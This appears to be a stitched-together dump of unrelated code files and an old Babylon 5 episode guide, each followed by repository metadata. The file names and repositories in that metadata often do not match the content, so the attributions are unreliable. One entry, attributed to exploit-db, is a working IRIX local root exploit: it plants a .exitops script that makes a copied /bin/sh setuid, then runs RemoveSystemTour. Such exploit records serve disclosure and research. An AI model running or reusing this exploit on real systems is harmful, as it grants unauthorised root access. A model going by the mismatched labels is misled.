#!/bin/sh /etc/rc.common # (C) 2012 Daniel Golle, Allnet GmbH <dgolle@allnet.de> START=96 STOP=96 RSSILEDS_BIN="/usr/sbin/rssileds" SERVICE_DAEMONIZE=1 SERVICE_WRITE_PID=1 start_rssid() { local name local dev local threshold local refresh local leds config_get name $1 name config_get dev $1 dev config_get threshold $1 threshold config_get refresh $1 refresh leds="$( cur_iface=$1 ; config_foreach get_led led )" SERVICE_PID_FILE=/var/run/rssileds-$dev.pid service_start $RSSILEDS_BIN $dev $refresh $threshold $leds } stop_rssid() { local dev config_get dev $1 dev SERVICE_PID_FILE=/var/run/rssileds-$dev.pid service_stop $RSSILEDS_BIN } get_led() { local name local sysfs local trigger local iface config_get sysfs $1 sysfs config_get name $1 name "$sysfs" config_get trigger $1 trigger "none" config_get iface $1 iface config_get minq $1 minq config_get maxq $1 maxq config_get offset $1 offset config_get factor $1 factor [ "$trigger" = "rssi" ] || return [ "$iface" = "$cur_iface" ] || return [ ! "$minq" ] || [ ! "$maxq" ] || [ ! "$offset" ] || [ ! "$factor" ] && return echo "none" > /sys/class/leds/$sysfs/trigger echo "$sysfs $minq $maxq $offset $factor" } off_led() { local name local sysfs local trigger config_get sysfs $1 sysfs config_get name $1 name "$sysfs" config_get trigger $1 trigger "none" [ "$trigger" = "rssi" ] || return echo "0" > /sys/class/leds/$sysfs/brightness } start() { [ -e /sys/class/leds/ ] && [ -x "$RSSILEDS_BIN" ] && { config_load system config_foreach start_rssid rssid } } stop() { config_load system config_foreach stop_rssid rssid config_foreach off_led led }
{'repo_name': 'CZ-NIC/turris-os', 'stars': '169', 'repo_language': 'C', 'file_name': 'vagrant_provision.sh', 'mime_type': 'text/x-shellscript', 'hash': -4079043268697750848, 'source_dataset': 'data'}
// Generated by IcedCoffeeScript 1.8.0-d (function() { var AbsPath, addLeadingSlash, addTrailingSlash, removeLeadingSlash, removeTrailingSlash, _ref; _ref = require('../pathutil'), addTrailingSlash = _ref.addTrailingSlash, addLeadingSlash = _ref.addLeadingSlash, removeTrailingSlash = _ref.removeTrailingSlash, removeLeadingSlash = _ref.removeLeadingSlash; module.exports = AbsPath = { normalize: function(path) { return addLeadingSlash(path); } }; }).call(this);
{'repo_name': 'livereload/LiveReload', 'stars': '1439', 'repo_language': 'Objective-C', 'file_name': 'Tag.swift', 'mime_type': 'text/plain', 'hash': 3615042492331396133, 'source_dataset': 'data'}
source: https://www.securityfocus.com/bid/470/info A vulnerability exists in both the Systour and OutOfBox susbsystems included with new installs of IRIX 5.x and 6.x from SGI. This vulnerability allows users on the system to run arbitrary commands as root. $ rbase=$HOME; export rbase $ mkdir -p $HOME/var/inst $ echo "dryrun: true" > $HOME/.swmgrrc $ cp -p /bin/sh /tmp/foobar $ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops $ chmod a+x $HOME/var/inst/.exitops $ /usr/lib/tour/bin/RemoveSystemTour Executing outstanding exit-commands from previous session .. Successfully completed exit-commands from previous session. Reading installation history Checking dependencies ERROR : Software Manager: automatic installation failed: New target (nothing installed) and no distribution.
{'repo_name': 'offensive-security/exploitdb', 'stars': '5393', 'repo_language': 'C', 'file_name': '24173.txt', 'mime_type': 'text/plain', 'hash': 8621945196369707583, 'source_dataset': 'data'}
fileFormatVersion: 2 guid: 18972f1993e9ce742a98a65bfb50de07 timeCreated: 1477345378 licenseType: Pro NativeFormatImporter: userData: assetBundleName: assetBundleVariant:
{'repo_name': 'ChristophGeske/ARCoreInsideOutTrackingGearVr', 'stars': '129', 'repo_language': 'C#', 'file_name': 'AudioManager.asset', 'mime_type': 'text/plain', 'hash': 436693829742856770, 'source_dataset': 'data'}
// +build dragonfly package remote import ( "golang.org/x/sys/unix" ) func interceptorDupx(oldfd int, newfd int) { unix.Dup2(oldfd, newfd) }
{'repo_name': 'cloudfoundry/python-buildpack', 'stars': '103', 'repo_language': 'Go', 'file_name': 'server.py', 'mime_type': 'text/x-python', 'hash': -6221318771243680233, 'source_dataset': 'data'}
{{/* vim: set filetype=mustache: */}} {{/* Expand the name of the chart. */}} {{- define "docker-registry.name" -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} {{- end -}} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). */}} {{- define "docker-registry.fullname" -}} {{- $name := default .Chart.Name .Values.nameOverride -}} {{- printf "%s" .Release.Name | trunc 63 | trimSuffix "-" -}} {{- end -}}
{'repo_name': 'rancher/charts', 'stars': '164', 'repo_language': 'Smarty', 'file_name': 'Chart.yaml', 'mime_type': 'text/plain', 'hash': 8516110119394639533, 'source_dataset': 'data'}
/****************************************************************************** * Project: libspatialindex - A C++ library for spatial indexing * Author: Marios Hadjieleftheriou, mhadji@gmail.com ****************************************************************************** * Copyright (c) 2002, Marios Hadjieleftheriou * * All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ******************************************************************************/ // NOTE: Please read README.txt before browsing this code. // include library header file. #include <spatialindex/SpatialIndex.h> #include <limits> using namespace SpatialIndex; using namespace std; #define INSERT 1 #define DELETE 0 #define QUERY 2 // example of a Visitor pattern. // see RTreeQuery for a more elaborate example. class MyVisitor : public IVisitor { public: void visitNode(const INode& n) {} void visitData(const IData& d) { cout << d.getIdentifier() << endl; // the ID of this data entry is an answer to the query. I will just print it to stdout. } void visitData(std::vector<const IData*>& v) {} }; int main(int argc, char** argv) { try { if (argc != 4) { cerr << "Usage: " << argv[0] << " input_file tree_file capacity." << endl; return -1; } ifstream fin(argv[1]); if (! fin) { cerr << "Cannot open data file " << argv[1] << "." << endl; return -1; } // Create a new storage manager with the provided base name and a 4K page size. string baseName = argv[2]; IStorageManager* diskfile = StorageManager::createNewDiskStorageManager(baseName, 4096); StorageManager::IBuffer* file = StorageManager::createNewRandomEvictionsBuffer(*diskfile, 10, false); // applies a main memory random buffer on top of the persistent storage manager // (LRU buffer, etc can be created the same way). // Create a new, empty, TPRTree with dimensionality 2, minimum load 70%, horizon 20 time instants, using "file" as // the StorageManager and the TPRSTAR splitting policy. id_type indexIdentifier; ISpatialIndex* tree = TPRTree::createNewTPRTree(*file, 0.7, atoi(argv[3]), atoi(argv[3]), 2, SpatialIndex::TPRTree::TPRV_RSTAR, 20, indexIdentifier); size_t count = 0; id_type id; size_t op; double ax, vx, ay, vy, ct, rt, unused; double plow[2], phigh[2]; double pvlow[2], pvhigh[2]; while (fin) { fin >> id >> op >> ct >> rt >> unused >> ax >> vx >> unused >> ay >> vy; if (! fin.good()) continue; // skip newlines, etc. if (op == INSERT) { plow[0] = ax; plow[1] = ay; phigh[0] = ax; phigh[1] = ay; pvlow[0] = vx; pvlow[1] = vy; pvhigh[0] = vx; pvhigh[1] = vy; Tools::Interval ivT(ct, std::numeric_limits<double>::max()); MovingRegion r = MovingRegion(plow, phigh, pvlow, pvhigh, ivT, 2); //ostringstream os; //os << r; //string data = os.str(); // associate some data with this region. I will use a string that represents the // region itself, as an example. // NOTE: It is not necessary to associate any data here. A null pointer can be used. In that // case you should store the data externally. The index will provide the data IDs of // the answers to any query, which can be used to access the actual data from the external // storage (e.g. a hash table or a database table, etc.). // Storing the data in the index is convinient and in case a clustered storage manager is // provided (one that stores any node in consecutive pages) performance will improve substantially, // since disk accesses will be mostly sequential. On the other hand, the index will need to // manipulate the data, resulting in larger overhead. If you use a main memory storage manager, // storing the data externally is highly recommended (clustering has no effect). // A clustered storage manager is NOT provided yet. // Also you will have to take care of converting you data to and from binary format, since only // array of bytes can be inserted in the index (see RTree::Node::load and RTree::Node::store for // an example of how to do that). //tree->insertData(data.size() + 1, reinterpret_cast<const byte*>(data.c_str()), r, id); tree->insertData(0, 0, r, id); // example of passing zero size and a null pointer as the associated data. } else if (op == DELETE) { plow[0] = ax; plow[1] = ay; phigh[0] = ax; phigh[1] = ay; pvlow[0] = vx; pvlow[1] = vy; pvhigh[0] = vx; pvhigh[1] = vy; Tools::Interval ivT(rt, ct); MovingRegion r = MovingRegion(plow, phigh, pvlow, pvhigh, ivT, 2); if (tree->deleteData(r, id) == false) { cerr << "******ERROR******" << endl; cerr << "Cannot delete id: " << id << " , count: " << count << endl; return -1; } } else if (op == QUERY) { plow[0] = ax; plow[1] = ay; phigh[0] = vx; phigh[1] = vy; pvlow[0] = 0.0; pvlow[1] = 0.0; pvhigh[0] = 0.0; pvhigh[1] = 0.0; Tools::Interval ivT(ct, rt); MovingRegion r = MovingRegion(plow, phigh, pvlow, pvhigh, ivT, 2); MyVisitor vis; tree->intersectsWithQuery(r, vis); // this will find all data that intersect with the query range. } if ((count % 1000) == 0) cerr << count << endl; count++; } cerr << "Operations: " << count << endl; cerr << *tree; cerr << "Buffer hits: " << file->getHits() << endl; cerr << "Index ID: " << indexIdentifier << endl; bool ret = tree->isIndexValid(); if (ret == false) cerr << "ERROR: Structure is invalid!" << endl; else cerr << "The stucture seems O.K." << endl; delete tree; delete file; delete diskfile; // delete the buffer first, then the storage manager // (otherwise the the buffer will fail trying to write the dirty entries). } catch (Tools::Exception& e) { cerr << "******ERROR******" << endl; std::string s = e.what(); cerr << s << endl; return -1; } catch (...) { cerr << "******ERROR******" << endl; cerr << "other exception" << endl; return -1; } return 0; }
{'repo_name': 'FluidityProject/fluidity', 'stars': '213', 'repo_language': 'Fortran', 'file_name': 'test_fluxes_reader_wrapper.F90', 'mime_type': 'text/plain', 'hash': -6464498056145172428, 'source_dataset': 'data'}
{ "name": "kite", "displayName": "Kite Autocomplete for Python and JavaScript", "description": "Code faster, stay in flow. AI-powered coding assistant featuring line-of-code Python and JavaScript autocompletions, advanced function signatures, and instant documentation.", "version": "0.123.0", "publisher": "kiteco", "engines": { "vscode": "^1.28.0" }, "icon": "logo.png", "galleryBanner": { "color": "#ffffff", "theme": "light" }, "author": { "name": "Kite" }, "repository": { "type": "git", "url": "https://github.com/kiteco/vscode-plugin.git" }, "categories": [ "Programming Languages", "Snippets", "Other" ], "keywords": [ "autocomplete", "documentation", "python", "javascript" ], "activationEvents": [ "*" ], "main": "./dist/kite-extension", "contributes": { "languages": [ { "id": "python", "aliases": [ "Python", "python" ], "extensions": [ ".py" ] }, { "id": "javascript", "aliases": [ "JavaScript", "Javascript", "js", "javascript" ], "extensions": [ ".js", ".jsx", ".vue" ] } ], "commands": [ { "command": "kite.help", "title": "Kite: Help" }, { "command": "kite.docs-at-cursor", "title": "Kite: Docs At Cursor" }, { "command": "kite.open-settings", "title": "Kite: Engine Settings" }, { "command": "kite.open-copilot", "title": "Kite: Open Copilot" }, { "command": "kite.related-files", "title": "Kite: Find related files (Experimental)" }, { "command": "kite.python-tutorial", "title": "Kite: Python Tutorial" }, { "command": "kite.javascript-tutorial", "title": "Kite: Javascript Tutorial" }, { "command": "kite.go-tutorial", "title": "Kite: Go Tutorial" } ], "menus": { "editor/context": [ { "command": "kite.related-files" } ] }, "configuration": { "type": "object", "title": "Kite Configuration", "properties": { "kite.showGoBetaNotification": { "type": "boolean", "default": true, "description": "Whether or not to show the Go beta notification." }, "kite.showWelcomeNotificationOnStartup": { "type": "boolean", "default": true, "description": "Whether or not to show the Kite welcome notification on startup." }, "kite.pollingInterval": { "type": "integer", "default": 5000, "description": "Interval in milliseconds at which the Kite extension polls Kite Engine to get the status of the current file." }, "kite.developerMode": { "type": "boolean", "default": false, "description": "Displays JSON data used by a view and also updates sample.html with the last rendered HTML." }, "kite.startKiteEngineOnStartup": { "type": "boolean", "default": true, "description": "Automatically start Kite Engine on editor startup if it's not already running." }, "kite.loggingLevel": { "type": "string", "default": "info", "enum": [ "silly", "verbose", "debug", "info", "warning", "error" ], "description": "The verbosity level of Kite's logs." }, "kite.enableSnippets": { "type": "boolean", "default": true, "description": "Enable snippet completions" }, "kite.enableOptionalCompletionsTriggers": { "type": "boolean", "default": false, "description": "For JavaScript and Go: Enabling this will cause Kite to trigger completions after a space, ( and [. Note that this may cause completions from other providers to not show up." } } } }, "scripts": { "postinstall": "node ./node_modules/vscode/bin/install", "test": "node ./node_modules/vscode/bin/test", "cleanup": "rm -f package-lock.json && rm -rf node_modules", "vscode:prepublish": "webpack --config config/webpack.config.js --mode production", "compile-prod": "webpack --config config/webpack.config.js --mode production", "compile": "webpack --config config/webpack.config.js --mode none", "watch": "webpack --config config/webpack.config.js --mode none --watch", "install-local": "vsce package && code --install-extension kite-*.vsix && rm kite-*.vsix" }, "dependencies": { "analytics-node": "^3.1.1", "atob": "^2.1.2", "formidable": "^1.1.1", "getmac": "^1.2.1", "kite-api": "=3.12.0", "kite-connector": "=3.12.0", "mixpanel": "^0.5.0", "md5": "^2.2.0", "opn": "^5.0.0", "rollbar": "^2.3.8", "tiny-relative-date": "^1.3.0" }, "devDependencies": { "@atom/temp": "^0.8.4", "@types/mocha": "^2.2.32", "@types/node": "^6.0.40", "copy-webpack-plugin": "^5.0.2", "editors-json-tests": "git://github.com/kiteco/editors-json-tests.git#master", "eslint": ">=4.18.2", "expect.js": "^0.3.1", "fs-plus": "^3.0.2", "jsdom": "^10", "jsdom-global": "^3", "mocha": "^5.2.0", "sinon": "^2.3.5", "terser": "^3.17.0", "typescript": "^2.0.3", "vsce": "^1.59.0", "vscode": "^1.1.22", "webpack": "^4.30.0", "webpack-cli": "^3.3.0", "webpack-merge-and-include-globally": "^2.1.16", "widjet-test-utils": "^1.8.0" } }
{'repo_name': 'kiteco/vscode-plugin', 'stars': '300', 'repo_language': 'JavaScript', 'file_name': 'settings.json', 'mime_type': 'text/plain', 'hash': 556749093296535585, 'source_dataset': 'data'}
// Copyright 2001-2019 Crytek GmbH / Crytek Group. All rights reserved. /************************************************************************* ------------------------------------------------------------------------- Description: Automatic shotgun firemode. It works like the shotgun one, spawning several pellets on a single shot, but doesn't require 'pump' action and it has a 'single' magazine reload ------------------------------------------------------------------------- History: - 14:09:09 Benito Gangoso Rodriguez *************************************************************************/ #include "StdAfx.h" #include "AutomaticShotgun.h" #include "Actor.h" CRY_IMPLEMENT_GTI(CAutomaticShotgun, CShotgun); CAutomaticShotgun::CAutomaticShotgun() : m_rapidFireCountdown(0.0f) , m_firing(false) { } CAutomaticShotgun::~CAutomaticShotgun() { } void CAutomaticShotgun::Update(float frameTime, uint32 frameId) { CShotgun::Update(frameTime, frameId); if (m_firing) { m_rapidFireCountdown -= frameTime; if (m_rapidFireCountdown < 0.0f && CanFire(true)) { bool shot = Shoot(true, true); if (shot) m_rapidFireCountdown += m_next_shot_dt; } } } void CAutomaticShotgun::StartFire() { if (!m_firing && !m_firePending && GetShared()->shotgunparams.fully_automated) { m_rapidFireCountdown = m_next_shot_dt; m_firing = true; } CShotgun::StartFire(); } void CAutomaticShotgun::StopFire() { CShotgun::StopFire(); m_firing = false;; } void CAutomaticShotgun::Activate( bool activate ) { m_firing = false; CSingle::Activate(activate); } void CAutomaticShotgun::StartReload(int zoomed) { CSingle::StartReload(zoomed); } void CAutomaticShotgun::EndReload( int zoomed ) { CSingle::EndReload(zoomed); } void CAutomaticShotgun::CancelReload() { CSingle::CancelReload(); } bool CAutomaticShotgun::CanCancelReload() { return true; }
{'repo_name': 'CRYTEK/CRYENGINE', 'stars': '10108', 'repo_language': 'C++', 'file_name': 'sys_spec_ObjectDetail.cfg', 'mime_type': 'text/plain', 'hash': -2724761261392054177, 'source_dataset': 'data'}
<?php require dirname(__DIR__) . '/vendor/autoload.php'; $loop = \React\EventLoop\Factory::create(); $contents = 'abcdefghijklopqrstuvwxyz'; $filename = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'alpha.bet'; $filesystem = \React\Filesystem\Filesystem::create($loop); echo 'Using ', get_class($filesystem->getAdapter()), PHP_EOL; $filesystem->file($filename)->putContents($contents)->then(function ($contents) use ($filename) { echo file_get_contents($filename), PHP_EOL; }, function (Exception $e) { echo $e->getMessage(), PHP_EOL; echo $e->getTraceAsString(), PHP_EOL; }); $loop->run();
{'repo_name': 'reactphp/filesystem', 'stars': '106', 'repo_language': 'PHP', 'file_name': 'PoolRpcErrorMockFactory.php', 'mime_type': 'text/x-php', 'hash': -2449338098516767635, 'source_dataset': 'data'}
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef GOOGLE_PROTOBUF_HAS_BITS_H__ #define GOOGLE_PROTOBUF_HAS_BITS_H__ #include <google/protobuf/stubs/common.h> namespace google { namespace protobuf { namespace internal { template<size_t doublewords> class HasBits { public: HasBits() GOOGLE_ATTRIBUTE_ALWAYS_INLINE { Clear(); } void Clear() GOOGLE_ATTRIBUTE_ALWAYS_INLINE { memset(has_bits_, 0, sizeof(has_bits_)); } ::google::protobuf::uint32& operator[](int index) GOOGLE_ATTRIBUTE_ALWAYS_INLINE { return has_bits_[index]; } const ::google::protobuf::uint32& operator[](int index) const GOOGLE_ATTRIBUTE_ALWAYS_INLINE { return has_bits_[index]; } bool operator==(const HasBits<doublewords>& rhs) const { return memcmp(has_bits_, rhs.has_bits_, sizeof(has_bits_)) == 0; } bool operator!=(const HasBits<doublewords>& rhs) const { return !(*this == rhs); } bool empty() const; private: ::google::protobuf::uint32 has_bits_[doublewords]; }; template <> inline bool HasBits<1>::empty() const { return !has_bits_[0]; } template <> inline bool HasBits<2>::empty() const { return !(has_bits_[0] | has_bits_[1]); } template <> inline bool HasBits<3>::empty() const { return !(has_bits_[0] | has_bits_[1] | has_bits_[2]); } template <> inline bool HasBits<4>::empty() const { return !(has_bits_[0] | has_bits_[1] | has_bits_[2] | has_bits_[3]); } template <size_t doublewords> inline bool HasBits<doublewords>::empty() const { for (size_t i = 0; i < doublewords; ++i) { if (has_bits_[i]) return false; } return true; } } // namespace internal } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_HAS_BITS_H__
{'repo_name': 'Tencent/mars', 'stars': '14634', 'repo_language': 'C++', 'file_name': 'gmock-port.h', 'mime_type': 'text/x-c', 'hash': -2694416158556510872, 'source_dataset': 'data'}
[1][ISMAP]-[2][Home] ### GUIDE ### [3][Background] [4][Synopsis] [5][Credits] [6][Episode List] [7][Previous] [8][Next] _Contents:_ [9]Overview - [10]Backplot - [11]Questions - [12]Analysis - [13]Notes - [14]JMS _________________________________________________________________ Overview Bester asks Talia to investigate an "underground railroad" of unregistered telepaths. [15]Walter Koenig as Bester. Sub-genre: Intrigue [16]P5 Rating: [17]8.38 Production number: 207 Original air date: January 25, 1995 Written by J. Michael Straczynski Directed by Jim Johnston Watch For A minor character from a previous episode, who turns out not to be so minor after all. _________________________________________________________________ Backplot Michael Garibaldi says, "The Corps got started because of our own fears." The sudden appearance of real psi abilities in otherwise unremarkable people caused so much concern among the general population that those showing such talents were gathered together into a group that could be more easily controlled -- and Psi-Corps was born. Its members are deeply conditioned to prevent any psi from using his or her talents to dominate normal people or disrupt society. But this conditioning isn't absolute, and attitudes molded early in life can still evolve over a persons lifetime. Given that psis were forced into this essentially closed society, shunned by the rest of humanity, it isn't surprising that the loyalties of the telepaths turned to the Corps itself. Soon Psi-Corps gained control of itself, and eventually the organization began pursuing its own goals. The leadership began to exert ever greater control over the lives of the members, in an effort to enhance the abilities of their people. The level of control exerted by the Corps over its members grew as they began seeking to enhance the abilities of their people, extending even to marriage and reproduction. Eventually the onus became too great and too pervasive for newly awakened psis to tolerate, and they began seeking ways to escape. The Psi-Cops exist to counter this, to search for and either capture or eliminate psi talented people who escaped early detection or who fled Psi-Corps. Now the Corps has become a power in its own right. Though the organization was intended to keep psis under control, it has itself come under the control of those very people. As a group, they _must_ feel seperate and different if not outright superior to the rest of society, and who have long been held in a position of subservience. They are organized, ruthless, and determined to pursue their own agenda. "We created our own monster." -- John Sheridan Unanswered Questions * Where have all the unregistered psis been going? * How long has this "underground railroad" been running? * We see Ivanova giving Sheridan his morning briefing, and in it she says that B5 has been running in the red for a while because, "there's been a lot of Earth Force military transports coming through." Where were they going? * Has Talia turned completely against the Corps? * Why, and by whom, was Bester told that Sheridan would be sympathetic to the Psi-Corps? * How much did Talia tell Ivanova about the situation, and about what's happened to her? * "What am I?" "The future." What does that mean? The future of telepaths? Of humans in general? Does it refer to Talia's new powers, to the fact that she's now likely to work against Psi-Corps from within, or something else? Is there even more to Ironheart's gift? * Will Bester notice that his gun was never actually fired? Analysis * The core of Psi-Corps indoctrination was summed up by Bester. You were raised by the Corps, Clothed by the Corps. We are your father, And your mother. What Psi-Corps has become was also demonstrated by Bester. Standing with another Psi-Cop, he looks down at a captured rogue telepath who he has just forcibly mind-scanned. "He's dead," the other Psi-Cop says. "It doesn't matter," Bester replies, apparently assuming she was concerned he wouldn't be able to read the man any more. Talia doesn't see this, since it happened on Mars Colony, but she does meet a stream of rogues who are on B5, in transit through the "underground railroad." From them she learns, first hand and with undeniable truth, that the experience she has had with the Corps is far from unique. Indeed, her experiences were mild compared to the stories she hears. Abductions. Experiments. Breeding programs that don't rely on volunteers for subjects. And as a telepath speaking _to_ telepaths, she can't avoid the full truth and force of the events she hears. * How can a Psi-Corps operative turn against the Corps? The impossibility of it is clear: The highest rated, strongest telepaths are "turned into" Psi-Cops. When the guardians are stronger than everyone else, how do you turn against them? Unless you are truly exceptional like Matthew Stoner in [18]"Soul Mates" you can only flee, immediately, before someone else scans you and reads your intention. Matthew Stoner may or may not have eluded the clutches of Psi-Corps for a time, but in the end he was firmly returned to them. Talia Winters' whole life experience tells her that she _cannot_ turn against the Corps, no matter what her opinions may be about the integrity or intentions of the organization. But several events changed her mind about this -- and it was not the tales of woe told by the folks in the underground railroad, though they undoubtedly inclined her toward rebellion. What allowed her to rebel was the realization that her shields were much stronger than she thought they were. A year ago Jason Ironheart, a victim of Psi-Corps experimentation, visited the station (cf. [19]"Mind War.") He became something vastly powerful, and departed. But before he left, he gave his onetime love Talia Winters a gift, the very thing that Psi-Corps was trying to induce in him: telekinesis. And the strength to keep that gift secret. * Talia's telekinetic powers are at least somewhat stronger than suggested at the end of [20]"Mind War." She can not only move her penny with her thoughts -- she can cause it to fly across the room with enough force to embed itself in the wall. * Telepaths can combine their powers through physical contact. What are the limits to such unions? Would a hundred linked telepaths begin to approach some of Ironheart's power, or perhaps become greater than just a collection of individuals? Does this perhaps have something to do with the Minbari prophecy suggesting that humans are destined to walk among the stars? (cf. [21]"Babylon Squared") Or it could simply be that by touching, the telepaths were able to help each other focus their individual energies; that's supported by the railroad leader's comment that what they did shouldn't have worked. * The "Underground Railroad." The timeline of the underground railroad stretches back to before B5. There is a group of people that have actively been working to keep people with psi ability out of Psi-Corps. Dr. Franklin implied that it was mostly doctors, and it makes sense that their ability to alter or manipulate medical and genetic records would make them logical and necessary members. But there is no reason to assume that the organization is comprised solely of doctors. Dr. Franklin was a member before he came to Babylon 5. When Jason Ironheart came to B5 he brought with him another rogue, who disappeared into downbelow while Jason went through his spectacular confrontation with Bester and his subsequent transformation. This unnamed telepath (who we've met before, in [22]"Chrysalis") apparently contacted Dr. Franklin. Between them, they extended the underground railroad through B5 -- though where the rogues were going _after_ B5 is unclear. Nor is it clear that Dr. Franklin will actually put a stop to the railroad. Dr. Franklin's answers to Captain Sheridan's demand that he put a stop to it were quite evasive. The telepaths actually at the station agreed to leave, which they intended to do anyway. Dr. Franklin admitted that his part in it was over, and that others would have to take over -- but he never actually said it would stop. Ironically, the person Garibaldi first suspected was aiding the railroad was Ivanova. He was wrong. She wasn't connected to it. But neither was Talia at the time. Now Talia is talking to Ivanova. What did they discuss, alone and late at night in Ivanova's quarters? * Did Ironheart's unnamed friend have ulterior motives when he put Garibaldi onto Devereaux' trail in [23]"Chrysalis?" There's evidence the Corps was involved in Santiago's death (cf. [24]"Revelations") so it's plausible the man knew something of the plot, and wanted to foil it without revealing himself. * Along similar lines, Bester's request to Talia that she keep an eye on Sheridan and the others for their reactions to President Santiago's death implies that he knows something other than an accident occurred, even that he (or someone he's associated with) was involved. His offhand comment that he'd been told Sheridan would be sympathetic to the Psi-Corps also implies that there may be more to Sheridan's appointment as head of Babylon 5 than meets the eye. * "Who'd have thought?" John Sheridan asks Ambassador Delenn. He was speaking at the time about the common trait of laughter, shared by humans and Minbari, but he could equally have been speaking of the whole scene. A human ship captain, commanding a giant station on the fringe of human controlled space, having a quiet dinner with the Minbari ambassador -- who also happens to be a member of their ruling body and who is also, to some degree "half-human." Moreover, she has apparently chosen him to teach her about humanity on a personal level. How personal this can get... who can say? * Finally, there is a telepath who can operate on the side of the "good guys." True, there are all the telepaths who have passed through the "underground railroad," but they are untrained or at best, trained but fleeing. Talia is fully trained and Psi-Corps doesn't know that she has turned--and she is strong enough to maintain her independence. It's likely she will be a very important player now, and her personality may develop in new directions now that she isn't under the heavy hand of Psi-Corps. Notes * This episode takes place in March, 2259, three months into Sheridan's tour of duty with B5. * There is a subthread in this episode about lack of sleep. Bester gets Talia out of bed, Talia gets Ivanova out of bed, and Ivanova and Sheridan spend a night sacked out in his office (he in his chair, she on the couch). Coincidence? * "Knock Knock" (who's there) "Kosh" (Kosh who?) "Gesundheit!" -- Sheridan * Judy Levitt, who plays the Psi Cop opposite Bester in the scene on Mars, is Walter Koenig's wife. * Production gaffe: In the scene outside Earhart's, when Delenn is asking Sheridan to dinner, a boom microphone is visible for an instant at the top of the screen. jms speaks * Favorite line in the next new episode, from Sheridan: "I'm not saying what I'm saying. I'm not saying what I'm *thinking*. For that matter, I'm not even *thinking* what I'm thinking." * BTW, just to note a little something you might not notice in the show...we've adopted the tradition of putting the symbol for a given ship onto the bar in Earhart's, as many real contemporary officers' clubs and airforce/naval base clubs put the logos or markings of big planes or ships that come through there. The Cortez symbol is the most visible among the various emblems you can see in a shot of the bar in "A Race Through Dark Places." It comes at the moment we follow *another* old military tradition. * As for the sound mix...yeah, we put a great deal of work into that aspect, for the surround effect. If you fire up "Race" there's a LOT going on in that one. It takes a great deal of time, but it's worth it. * Yes, originally, "Soul Mates" was to air after "Race." At that time, PTEN was initially going to show just 6 new episodes, and we would have come in after the rerun break with "Race," then "Soul." When the ratings came in and looked good, they didn't want to interfere with the growth, and indicated they wanted to show 7 new eps in the first batch. "Race," as you can see, was a very complex episode visually, and the only way to get it ready to run #7 in the first batch would've been to compromise the integrity of the show, and we simply won't do that for ANY reason. "Soul Mates," on the other hand, required very little in the way of post production, so that was moved forward into the #7 slot. * Q: How many telepaths does it take to screw in a lightbulb? A: * I always have to have a title before I begin writing, since the title always influences the feel of the show. I try to design one that is literary, or refers to a literary influence; it should have a certain rhythm, and avoid coming at the subject of the episode too dead-on. For instance, one could call the recent Psi Cop episode with Bester, "Capture" or "Chase." But I wanted it to be evocative, to conjure up the image of people slipping through the shadows, pursued by others, and to continue this season's trend toward titles that indicate a coming night. Hence, "A Race Through Dark Places." * _No repeat of Bester's salute from "Mind War"_ Also, bear in mind that Bester's parting shot in "Mind War" was exactly that, in essence an "Up yours" but subtle. There was no reason for that to be given to anyone in "Race." * Correct, the penny was/is a keepsake. * _Where did Ivanova's outfit in the last scene come from?_ I think it came out of the Victoria's Secrets catalog.... _________________________________________________________________ Originally compiled by Dave Zimmerman _________________________________________________________________ [30][Next] [31]Last update: October 13, 1997 References 1. file://localhost/cgi-bin/imagemap/titlebar 2. LYNXIMGMAP:file://localhost/lurk/maps/maps.html#titlebar 3. file://localhost/home/woodstock/hyperion/docs/lurk/background/030.shtml 4. file://localhost/home/woodstock/hyperion/docs/lurk/synops/030.html 5. 